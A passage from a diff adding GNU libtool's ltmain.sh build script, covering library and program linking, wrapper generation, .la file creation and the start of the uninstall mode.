reloadable object file. All subsequent reloadable object + # files will link in the last one created. + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + reload_objs="$objlist $last_robj" + eval concat_cmds=\"\$concat_cmds$reload_cmds\" + if test -n "$last_robj"; then + eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\" + fi + func_append delfiles " $output" + + else + output= + fi + + ${skipped_export-false} && { + func_verbose "generating symbol list for '$libname.la'" + export_symbols=$output_objdir/$libname.exp + $opt_dry_run || $RM $export_symbols + libobjs=$output + # Append the command to create the export file. + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\$concat_cmds$export_symbols_cmds\" + if test -n "$last_robj"; then + eval concat_cmds=\"\$concat_cmds~\$RM $last_robj\" + fi + } + + test -n "$save_libobjs" && + func_verbose "creating a temporary reloadable object file: $output" + + # Loop through the commands generated above and execute them. + save_ifs=$IFS; IFS='~' + for cmd in $concat_cmds; do + IFS=$save_ifs + $opt_quiet || { + func_quote_arg expand,pretty "$cmd" + eval "func_echo $func_quote_arg_result" + } + $opt_dry_run || eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test relink = "$opt_mode"; then + ( cd "$output_objdir" && \ + $RM "${realname}T" && \ + $MV "${realname}U" "$realname" ) + fi + + exit $lt_exit + } + done + IFS=$save_ifs + + if test -n "$export_symbols_regex" && ${skipped_export-false}; then + func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' + func_show_eval '$MV "${export_symbols}T" "$export_symbols"' + fi + fi + + ${skipped_export-false} && { + if test -n "$export_symbols" && test -n "$include_expsyms"; then + tmp_export_symbols=$export_symbols + test -n "$orig_export_symbols" && tmp_export_symbols=$orig_export_symbols + $opt_dry_run || eval '$ECHO "$include_expsyms" | $SP2NL >> "$tmp_export_symbols"' + fi + + if test -n "$orig_export_symbols"; then + # The given exports_symbols file has to be filtered, so filter it. + func_verbose "filter symbol list for '$libname.la' to tag DATA exports" + # FIXME: $output_objdir/$libname.filter potentially contains lots of + # 's' commands, which not all seds can handle. GNU sed should be fine + # though. Also, the filter scales superlinearly with the number of + # global variables. join(1) would be nice here, but unfortunately + # isn't a blessed tool. + $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter + func_append delfiles " $export_symbols $output_objdir/$libname.filter" + export_symbols=$output_objdir/$libname.def + $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols + fi + } + + libobjs=$output + # Restore the value of output. + output=$save_output + + if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + test "X$libobjs" = "X " && libobjs= + fi + # Expand the library linking commands again to reset the + # value of $libobjs for piecewise linking. + + # Do each of the archive commands. + if test yes = "$module" && test -n "$module_cmds"; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + cmds=$module_expsym_cmds + else + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + cmds=$archive_expsym_cmds + else + cmds=$archive_cmds + fi + fi + fi + + if test -n "$delfiles"; then + # Append the command to remove temporary files to $cmds. + eval cmds=\"\$cmds~\$RM $delfiles\" + fi + + # Add any objects from preloaded convenience libraries + if test -n "$dlprefiles"; then + gentop=$output_objdir/${outputname}x + func_append generated " $gentop" + + func_extract_archives $gentop $dlprefiles + func_append libobjs " $func_extract_archives_result" + test "X$libobjs" = "X " && libobjs= + fi + + save_ifs=$IFS; IFS='~' + for cmd in $cmds; do + IFS=$sp$nl + eval cmd=\"$cmd\" + IFS=$save_ifs + $opt_quiet || { + func_quote_arg expand,pretty "$cmd" + eval "func_echo $func_quote_arg_result" + } + $opt_dry_run || eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test relink = "$opt_mode"; then + ( cd "$output_objdir" && \ + $RM "${realname}T" && \ + $MV "${realname}U" "$realname" ) + fi + + exit $lt_exit + } + done + IFS=$save_ifs + + # Restore the uninstalled library and exit + if test relink = "$opt_mode"; then + $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $? + + if test -n "$convenience"; then + if test -z "$whole_archive_flag_spec"; then + func_show_eval '${RM}r "$gentop"' + fi + fi + + exit $EXIT_SUCCESS + fi + + # Create links to the real library. + for linkname in $linknames; do + if test "$realname" != "$linkname"; then + func_show_eval '(cd "$output_objdir" && $RM "$linkname" && $LN_S "$realname" "$linkname")' 'exit $?' + fi + done + + # If -module or -export-dynamic was specified, set the dlname. + if test yes = "$module" || test yes = "$export_dynamic"; then + # On all known operating systems, these are identical. + dlname=$soname + fi + fi + ;; + + obj) + if test -n "$dlfiles$dlprefiles" || test no != "$dlself"; then + func_warning "'-dlopen' is ignored for objects" + fi + + case " $deplibs" in + *\ -l* | *\ -L*) + func_warning "'-l' and '-L' are ignored for objects" ;; + esac + + test -n "$rpath" && \ + func_warning "'-rpath' is ignored for objects" + + test -n "$xrpath" && \ + func_warning "'-R' is ignored for objects" + + test -n "$vinfo" && \ + func_warning "'-version-info' is ignored for objects" + + test -n "$release" && \ + func_warning "'-release' is ignored for objects" + + case $output in + *.lo) + test -n "$objs$old_deplibs" && \ + func_fatal_error "cannot build library object '$output' from non-libtool objects" + + libobj=$output + func_lo2o "$libobj" + obj=$func_lo2o_result + ;; + *) + libobj= + obj=$output + ;; + esac + + # Delete the old objects. + $opt_dry_run || $RM $obj $libobj + + # Objects from convenience libraries. This assumes + # single-version convenience libraries. Whenever we create + # different ones for PIC/non-PIC, this we'll have to duplicate + # the extraction. + reload_conv_objs= + gentop= + # if reload_cmds runs $LD directly, get rid of -Wl from + # whole_archive_flag_spec and hope we can get by with turning comma + # into space. + case $reload_cmds in + *\$LD[\ \$]*) wl= ;; + esac + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\" + test -n "$wl" || tmp_whole_archive_flags=`$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'` + reload_conv_objs=$reload_objs\ $tmp_whole_archive_flags + else + gentop=$output_objdir/${obj}x + func_append generated " $gentop" + + func_extract_archives $gentop $convenience + reload_conv_objs="$reload_objs $func_extract_archives_result" + fi + fi + + # If we're not building shared, we need to use non_pic_objs + test yes = "$build_libtool_libs" || libobjs=$non_pic_objects + + # Create the old-style object. + reload_objs=$objs$old_deplibs' '`$ECHO "$libobjs" | $SP2NL | $SED "/\.$libext$/d; /\.lib$/d; $lo2o" | $NL2SP`' '$reload_conv_objs + + output=$obj + func_execute_cmds "$reload_cmds" 'exit $?' + + # Exit if we aren't doing a library object file. + if test -z "$libobj"; then + if test -n "$gentop"; then + func_show_eval '${RM}r "$gentop"' + fi + + exit $EXIT_SUCCESS + fi + + test yes = "$build_libtool_libs" || { + if test -n "$gentop"; then + func_show_eval '${RM}r "$gentop"' + fi + + # Create an invalid libtool object if no PIC, so that we don't + # accidentally link it into a program. + # $show "echo timestamp > $libobj" + # $opt_dry_run || eval "echo timestamp > $libobj" || exit $? + exit $EXIT_SUCCESS + } + + if test -n "$pic_flag" || test default != "$pic_mode"; then + # Only do commands if we really have different PIC objects. + reload_objs="$libobjs $reload_conv_objs" + output=$libobj + func_execute_cmds "$reload_cmds" 'exit $?' + fi + + if test -n "$gentop"; then + func_show_eval '${RM}r "$gentop"' + fi + + exit $EXIT_SUCCESS + ;; + + prog) + case $host in + *cygwin*) func_stripname '' '.exe' "$output" + output=$func_stripname_result.exe;; + esac + test -n "$vinfo" && \ + func_warning "'-version-info' is ignored for programs" + + test -n "$release" && \ + func_warning "'-release' is ignored for programs" + + $preload \ + && test unknown,unknown,unknown = "$dlopen_support,$dlopen_self,$dlopen_self_static" \ + && func_warning "'LT_INIT([dlopen])' not used. Assuming no dlopen support." + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + compile_deplibs=`$ECHO " $compile_deplibs" | $SED 's/ -lc / System.ltframework /'` + finalize_deplibs=`$ECHO " $finalize_deplibs" | $SED 's/ -lc / System.ltframework /'` + ;; + esac + + case $host in + *-*-darwin*) + # Don't allow lazy linking, it breaks C++ global constructors + # But is supposedly fixed on 10.4 or later (yay!). + if test CXX = "$tagname"; then + case ${MACOSX_DEPLOYMENT_TARGET-10.0} in + 10.[0123]) + func_append compile_command " $wl-bind_at_load" + func_append finalize_command " $wl-bind_at_load" + ;; + esac + fi + # Time to change all our "foo.ltframework" stuff back to "-framework foo" + compile_deplibs=`$ECHO " $compile_deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + finalize_deplibs=`$ECHO " $finalize_deplibs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` + ;; + esac + + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $compile_deplibs " in + *" -L$path/$objdir "*) + func_append new_libs " -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $compile_deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) func_append new_libs " $deplib" ;; + esac + ;; + *) func_append new_libs " $deplib" ;; + esac + done + compile_deplibs=$new_libs + + + func_append compile_command " $compile_deplibs" + func_append finalize_command " $finalize_deplibs" + + if test -n "$rpath$xrpath"; then + # If the user specified any rpath flags, then add them. + for libdir in $rpath $xrpath; do + # This is the magic to use -rpath. + case "$finalize_rpath " in + *" $libdir "*) ;; + *) func_append finalize_rpath " $libdir" ;; + esac + done + fi + + # Now hardcode the library paths + rpath= + hardcode_libdirs= + for libdir in $compile_rpath $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs=$libdir + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + func_append rpath " $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) func_append perm_rpath " $libdir" ;; + esac + fi + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) + testbindir=`$ECHO "$libdir" | $SED -e 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$libdir:"*) ;; + ::) dllsearchpath=$libdir;; + *) func_append dllsearchpath ":$libdir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + ::) dllsearchpath=$testbindir;; + *) func_append dllsearchpath ":$testbindir";; + esac + ;; + esac + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir=$hardcode_libdirs + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + compile_rpath=$rpath + + rpath= + hardcode_libdirs= + for libdir in $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs=$libdir + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + func_append hardcode_libdirs "$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + func_append rpath " $flag" + fi + elif test -n "$runpath_var"; then + case "$finalize_perm_rpath " in + *" $libdir "*) ;; + *) func_append finalize_perm_rpath " $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir=$hardcode_libdirs + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + finalize_rpath=$rpath + + if test -n "$libobjs" && test yes = "$build_old_libs"; then + # Transform all the library objects into standard objects. + compile_command=`$ECHO "$compile_command" | $SP2NL | $SED "$lo2o" | $NL2SP` + finalize_command=`$ECHO "$finalize_command" | $SP2NL | $SED "$lo2o" | $NL2SP` + fi + + func_generate_dlsyms "$outputname" "@PROGRAM@" false + + # template prelinking step + if test -n "$prelink_cmds"; then + func_execute_cmds "$prelink_cmds" 'exit $?' + fi + + wrappers_required=: + case $host in + *cegcc* | *mingw32ce*) + # Disable wrappers for cegcc and mingw32ce hosts, we are cross compiling anyway. + wrappers_required=false + ;; + *cygwin* | *mingw* ) + test yes = "$build_libtool_libs" || wrappers_required=false + ;; + *) + if test no = "$need_relink" || test yes != "$build_libtool_libs"; then + wrappers_required=false + fi + ;; + esac + $wrappers_required || { + # Replace the output file specification. + compile_command=`$ECHO "$compile_command" | $SED 's%@OUTPUT@%'"$output"'%g'` + link_command=$compile_command$compile_rpath + + # We have no uninstalled library dependencies, so finalize right now. + exit_status=0 + func_show_eval "$link_command" 'exit_status=$?' + + if test -n "$postlink_cmds"; then + func_to_tool_file "$output" + postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` + func_execute_cmds "$postlink_cmds" 'exit $?' + fi + + # Delete the generated files. + if test -f "$output_objdir/${outputname}S.$objext"; then + func_show_eval '$RM "$output_objdir/${outputname}S.$objext"' + fi + + exit $exit_status + } + + if test -n "$compile_shlibpath$finalize_shlibpath"; then + compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" + fi + if test -n "$finalize_shlibpath"; then + finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" + fi + + compile_var= + finalize_var= + if test -n "$runpath_var"; then + if test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + func_append rpath "$dir:" + done + compile_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + if test -n "$finalize_perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $finalize_perm_rpath; do + func_append rpath "$dir:" + done + finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + fi + + if test yes = "$no_install"; then + # We don't need to create a wrapper script. + link_command=$compile_var$compile_command$compile_rpath + # Replace the output file specification. + link_command=`$ECHO "$link_command" | $SED 's%@OUTPUT@%'"$output"'%g'` + # Delete the old output file. + $opt_dry_run || $RM $output + # Link the executable and exit + func_show_eval "$link_command" 'exit $?' + + if test -n "$postlink_cmds"; then + func_to_tool_file "$output" + postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` + func_execute_cmds "$postlink_cmds" 'exit $?' + fi + + exit $EXIT_SUCCESS + fi + + case $hardcode_action,$fast_install in + relink,*) + # Fast installation is not supported + link_command=$compile_var$compile_command$compile_rpath + relink_command=$finalize_var$finalize_command$finalize_rpath + + func_warning "this platform does not like uninstalled shared libraries" + func_warning "'$output' will be relinked during installation" + ;; + *,yes) + link_command=$finalize_var$compile_command$finalize_rpath + relink_command=`$ECHO "$compile_var$compile_command$compile_rpath" | $SED 's%@OUTPUT@%\$progdir/\$file%g'` + ;; + *,no) + link_command=$compile_var$compile_command$compile_rpath + relink_command=$finalize_var$finalize_command$finalize_rpath + ;; + *,needless) + link_command=$finalize_var$compile_command$finalize_rpath + relink_command= + ;; + esac + + # Replace the output file specification. + link_command=`$ECHO "$link_command" | $SED 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` + + # Delete the old output files. + $opt_dry_run || $RM $output $output_objdir/$outputname $output_objdir/lt-$outputname + + func_show_eval "$link_command" 'exit $?' + + if test -n "$postlink_cmds"; then + func_to_tool_file "$output_objdir/$outputname" + postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'` + func_execute_cmds "$postlink_cmds" 'exit $?' + fi + + # Now create the wrapper script. + func_verbose "creating $output" + + # Quote the relink command for shipping. + if test -n "$relink_command"; then + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + func_quote_arg pretty "$var_value" + relink_command="$var=$func_quote_arg_result; export $var; $relink_command" + fi + done + func_quote eval cd "`pwd`" + func_quote_arg pretty,unquoted "($func_quote_result; $relink_command)" + relink_command=$func_quote_arg_unquoted_result + fi + + # Only actually do things if not in dry run mode. + $opt_dry_run || { + # win32 will think the script is a binary if it has + # a .exe suffix, so we strip it off here. + case $output in + *.exe) func_stripname '' '.exe' "$output" + output=$func_stripname_result ;; + esac + # test for cygwin because mv fails w/o .exe extensions + case $host in + *cygwin*) + exeext=.exe + func_stripname '' '.exe' "$outputname" + outputname=$func_stripname_result ;; + *) exeext= ;; + esac + case $host in + *cygwin* | *mingw* ) + func_dirname_and_basename "$output" "" "." + output_name=$func_basename_result + output_path=$func_dirname_result + cwrappersource=$output_path/$objdir/lt-$output_name.c + cwrapper=$output_path/$output_name.exe + $RM $cwrappersource $cwrapper + trap "$RM $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 + + func_emit_cwrapperexe_src > $cwrappersource + + # The wrapper executable is built using the $host compiler, + # because it contains $host paths and files. If cross- + # compiling, it, like the target executable, must be + # executed on the $host or under an emulation environment. + $opt_dry_run || { + $LTCC $LTCFLAGS -o $cwrapper $cwrappersource + $STRIP $cwrapper + } + + # Now, create the wrapper script for func_source use: + func_ltwrapper_scriptname $cwrapper + $RM $func_ltwrapper_scriptname_result + trap "$RM $func_ltwrapper_scriptname_result; exit $EXIT_FAILURE" 1 2 15 + $opt_dry_run || { + # note: this script will not be executed, so do not chmod. + if test "x$build" = "x$host"; then + $cwrapper --lt-dump-script > $func_ltwrapper_scriptname_result + else + func_emit_wrapper no > $func_ltwrapper_scriptname_result + fi + } + ;; + * ) + $RM $output + trap "$RM $output; exit $EXIT_FAILURE" 1 2 15 + + func_emit_wrapper no > $output + chmod +x $output + ;; + esac + } + exit $EXIT_SUCCESS + ;; + esac + + # See if we need to build an old-fashioned archive. + for oldlib in $oldlibs; do + + case $build_libtool_libs in + convenience) + oldobjs="$libobjs_save $symfileobj" + addlibs=$convenience + build_libtool_libs=no + ;; + module) + oldobjs=$libobjs_save + addlibs=$old_convenience + build_libtool_libs=no + ;; + *) + oldobjs="$old_deplibs $non_pic_objects" + $preload && test -f "$symfileobj" \ + && func_append oldobjs " $symfileobj" + addlibs=$old_convenience + ;; + esac + + if test -n "$addlibs"; then + gentop=$output_objdir/${outputname}x + func_append generated " $gentop" + + func_extract_archives $gentop $addlibs + func_append oldobjs " $func_extract_archives_result" + fi + + # Do each command in the archive commands. + if test -n "$old_archive_from_new_cmds" && test yes = "$build_libtool_libs"; then + cmds=$old_archive_from_new_cmds + else + + # Add any objects from preloaded convenience libraries + if test -n "$dlprefiles"; then + gentop=$output_objdir/${outputname}x + func_append generated " $gentop" + + func_extract_archives $gentop $dlprefiles + func_append oldobjs " $func_extract_archives_result" + fi + + # POSIX demands no paths to be encoded in archives. We have + # to avoid creating archives with duplicate basenames if we + # might have to extract them afterwards, e.g., when creating a + # static archive out of a convenience library, or when linking + # the entirety of a libtool archive into another (currently + # not supported by libtool). + if (for obj in $oldobjs + do + func_basename "$obj" + $ECHO "$func_basename_result" + done | sort | sort -uc >/dev/null 2>&1); then + : + else + echo "copying selected object files to avoid basename conflicts..." + gentop=$output_objdir/${outputname}x + func_append generated " $gentop" + func_mkdir_p "$gentop" + save_oldobjs=$oldobjs + oldobjs= + counter=1 + for obj in $save_oldobjs + do + func_basename "$obj" + objbase=$func_basename_result + case " $oldobjs " in + " ") oldobjs=$obj ;; + *[\ /]"$objbase "*) + while :; do + # Make sure we don't pick an alternate name that also + # overlaps. + newobj=lt$counter-$objbase + func_arith $counter + 1 + counter=$func_arith_result + case " $oldobjs " in + *[\ /]"$newobj "*) ;; + *) if test ! -f "$gentop/$newobj"; then break; fi ;; + esac + done + func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj" + func_append oldobjs " $gentop/$newobj" + ;; + *) func_append oldobjs " $obj" ;; + esac + done + fi + func_to_tool_file "$oldlib" func_convert_file_msys_to_w32 + tool_oldlib=$func_to_tool_file_result + eval cmds=\"$old_archive_cmds\" + + func_len " $cmds" + len=$func_len_result + if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then + cmds=$old_archive_cmds + elif test -n "$archiver_list_spec"; then + func_verbose "using command file archive linking..." + for obj in $oldobjs + do + func_to_tool_file "$obj" + $ECHO "$func_to_tool_file_result" + done > $output_objdir/$libname.libcmd + func_to_tool_file "$output_objdir/$libname.libcmd" + oldobjs=" $archiver_list_spec$func_to_tool_file_result" + cmds=$old_archive_cmds + else + # the command line is too long to link in one step, link in parts + func_verbose "using piecewise archive linking..." + save_RANLIB=$RANLIB + RANLIB=: + objlist= + concat_cmds= + save_oldobjs=$oldobjs + oldobjs= + # Is there a better way of finding the last object in the list? + for obj in $save_oldobjs + do + last_oldobj=$obj + done + eval test_cmds=\"$old_archive_cmds\" + func_len " $test_cmds" + len0=$func_len_result + len=$len0 + for obj in $save_oldobjs + do + func_len " $obj" + func_arith $len + $func_len_result + len=$func_arith_result + func_append objlist " $obj" + if test "$len" -lt "$max_cmd_len"; then + : + else + # the above command should be used before it gets too long + oldobjs=$objlist + if test "$obj" = "$last_oldobj"; then + RANLIB=$save_RANLIB + fi + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\$concat_cmds$old_archive_cmds\" + objlist= + len=$len0 + fi + done + RANLIB=$save_RANLIB + oldobjs=$objlist + if test -z "$oldobjs"; then + eval cmds=\"\$concat_cmds\" + else + eval cmds=\"\$concat_cmds~\$old_archive_cmds\" + fi + fi + fi + func_execute_cmds "$cmds" 'exit $?' + done + + test -n "$generated" && \ + func_show_eval "${RM}r$generated" + + # Now create the libtool archive. + case $output in + *.la) + old_library= + test yes = "$build_old_libs" && old_library=$libname.$libext + func_verbose "creating $output" + + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || $lt_unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + func_quote_arg pretty,unquoted "$var_value" + relink_command="$var=$func_quote_arg_unquoted_result; export $var; $relink_command" + fi + done + # Quote the link command for shipping. + func_quote eval cd "`pwd`" + relink_command="($func_quote_result; $SHELL \"$progpath\" $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" + func_quote_arg pretty,unquoted "$relink_command" + relink_command=$func_quote_arg_unquoted_result + if test yes = "$hardcode_automatic"; then + relink_command= + fi + + # Only create the output if not a dry run. + $opt_dry_run || { + for installed in no yes; do + if test yes = "$installed"; then + if test -z "$install_libdir"; then + break + fi + output=$output_objdir/${outputname}i + # Replace all uninstalled libtool libraries with the installed ones + newdependency_libs= + for deplib in $dependency_libs; do + case $deplib in + *.la) + func_basename "$deplib" + name=$func_basename_result + func_resolve_sysroot "$deplib" + eval libdir=`$SED -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result` + test -z "$libdir" && \ + func_fatal_error "'$deplib' is not a valid libtool archive" + func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name" + ;; + -L*) + func_stripname -L '' "$deplib" + func_replace_sysroot "$func_stripname_result" + func_append newdependency_libs " -L$func_replace_sysroot_result" + ;; + -R*) + func_stripname -R '' "$deplib" + func_replace_sysroot "$func_stripname_result" + func_append newdependency_libs " -R$func_replace_sysroot_result" + ;; + *) func_append newdependency_libs " $deplib" ;; + esac + done + dependency_libs=$newdependency_libs + newdlfiles= + + for lib in $dlfiles; do + case $lib in + *.la) + func_basename "$lib" + name=$func_basename_result + eval libdir=`$SED -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + test -z "$libdir" && \ + func_fatal_error "'$lib' is not a valid libtool archive" + func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name" + ;; + *) func_append newdlfiles " $lib" ;; + esac + done + dlfiles=$newdlfiles + newdlprefiles= + for lib in $dlprefiles; do + case $lib in + *.la) + # Only pass preopened files to the pseudo-archive (for + # eventual linking with the app. that links it) if we + # didn't already link the preopened objects directly into + # the library: + func_basename "$lib" + name=$func_basename_result + eval libdir=`$SED -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + test -z "$libdir" && \ + func_fatal_error "'$lib' is not a valid libtool archive" + func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name" + ;; + esac + done + dlprefiles=$newdlprefiles + else + newdlfiles= + for lib in $dlfiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs=$lib ;; + *) abs=`pwd`"/$lib" ;; + esac + func_append newdlfiles " $abs" + done + dlfiles=$newdlfiles + newdlprefiles= + for lib in $dlprefiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs=$lib ;; + *) abs=`pwd`"/$lib" ;; + esac + func_append newdlprefiles " $abs" + done + dlprefiles=$newdlprefiles + fi + $RM $output + # place dlname in correct position for cygwin + # In fact, it would be nice if we could use this code for all target + # systems that can't hard-code library paths into their executables + # and that have no shared library path variable independent of PATH, + # but it turns out we can't easily determine that from inspecting + # libtool variables, so we have to hard-code the OSs to which it + # applies here; at the moment, that means platforms that use the PE + # object format with DLL files. See the long comment at the top of + # tests/bindir.at for full details. + tdlname=$dlname + case $host,$output,$installed,$module,$dlname in + *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll | *cegcc*,*lai,yes,no,*.dll) + # If a -bindir argument was supplied, place the dll there. + if test -n "$bindir"; then + func_relative_path "$install_libdir" "$bindir" + tdlname=$func_relative_path_result/$dlname + else + # Otherwise fall back on heuristic. + tdlname=../bin/$dlname + fi + ;; + esac + $ECHO > $output "\ +# $outputname - a libtool library file +# Generated by $PROGRAM (GNU $PACKAGE) $VERSION +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='$tdlname' + +# Names of this library. +library_names='$library_names' + +# The name of the static archive. +old_library='$old_library' + +# Linker flags that cannot go in dependency_libs. +inherited_linker_flags='$new_inherited_linker_flags' + +# Libraries that this one depends upon. +dependency_libs='$dependency_libs' + +# Names of additional weak libraries provided by this library +weak_library_names='$weak_libs' + +# Version information for $libname. +current=$current +age=$age +revision=$revision + +# Is this an already installed library? +installed=$installed + +# Should we warn about portability when linking against -modules? +shouldnotlink=$module + +# Files to dlopen/dlpreopen +dlopen='$dlfiles' +dlpreopen='$dlprefiles' + +# Directory that this library needs to be installed in: +libdir='$install_libdir'" + if test no,yes = "$installed,$need_relink"; then + $ECHO >> $output "\ +relink_command=\"$relink_command\"" + fi + done + } + + # Do a symbolic link so that the libtool archive can be found in + # LD_LIBRARY_PATH before the program is installed. + func_show_eval '( cd "$output_objdir" && $RM "$outputname" && $LN_S "../$outputname" "$outputname" )' 'exit $?' + ;; + esac + exit $EXIT_SUCCESS +} + +if test link = "$opt_mode" || test relink = "$opt_mode"; then + func_mode_link ${1+"$@"} +fi + + +# func_mode_uninstall arg... +func_mode_uninstall () +{ + $debug_cmd + + RM=$nonopt + files= + rmforce=false + exit_status=0 + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic=$magic + + for arg + do + case $arg in + -f) func_append RM " $arg"; rmforce=: ;; + -*) func_append RM " $arg" ;; + *) func_append files " $arg" ;; + esac + done + + test -z "$RM" && \ + func_fatal_help "you must specify an RM program" + + rmdirs= + + for file in $files; do + func_dirname "$file" "" "." + dir=$func_dirname_result + if test . = "$dir"; then + odir=$objdir + else + odir=$dir/$objdir + fi + func_basename "$file" + name=$func_basename_result + test uninstall = "$opt_mode" && odir=$dir + + # Remember odir for removal later, being careful to avoid duplicates + if test clean = "$opt_mode"; then + case " $rmdirs " in + *" $odir "*) ;; + *) func_append rmdirs " $odir" ;; + esac + fi + + # Don't error if the file doesn't exist and rm -f was used. + if { test -L "$file"; } >/dev/null 2>&1 || + { test -h "$file"; } >/dev/null 2>&1 || + test -f "$file"; then + : + elif test -d "$file"; then + exit_status=1 + continue + elif $rmforce; then + continue + fi + + rmfiles=$file + + case $name in + *.la) + # Possibly a libtool archive, so verify it. + if func_lalib_p "$file"; then + func_source $dir/$name + + # Delete the libtool libraries and symlinks. + for n in $library_names; do + func_append rmfiles " $odir/$n" + done + test -n "$old_library" && func_append rmfiles " $odir/$old_library" + + case $opt_mode in + clean) + case " $library_names " in + *" $dlname "*) ;; + *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;; + esac + test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i" + ;; + uninstall) + if test -n "$library_names"; then + # Do each command in the postuninstall commands. + func_execute_cmds "$postuninstall_cmds" '$rmforce || exit_status=1' + fi + + if test -n "$old_library"; then + # Do each command in the old_postuninstall commands. + func_execute_cmds "$old_postuninstall_cmds" '$rmforce || exit_status=1' + fi + # FIXME: should reinstall the best remaining shared library. + ;; + esac + fi + ;; + + *.lo) + # Possibly a 